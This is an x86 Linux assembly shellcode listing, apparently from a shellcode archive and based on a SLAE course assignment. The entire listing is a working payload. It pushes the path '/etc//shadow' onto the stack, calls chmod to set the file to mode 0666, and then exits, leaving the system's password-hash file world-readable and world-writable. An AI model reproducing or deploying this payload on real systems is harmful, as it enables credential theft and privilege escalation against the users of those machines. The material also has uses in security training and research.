Tiny chmod - Assembly Language - Linux/x86 - forlife

tiny_chmod.asm

; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/5th.assignment/tiny_chmod.asm

global _start

section .text

_start:

	; int chmod(const char *path, mode_t mode);

	xor ecx, ecx
	mul ecx	
	mov al, 15
	push edx
	push 0x776f6461
	push 0x68732f2f
	push 0x6374652f
	mov ebx, esp
	mov cx, 0x1b6
	int 0x80

	; void _exit(int status);

	inc edx
	xchg eax, edx
	int 0x80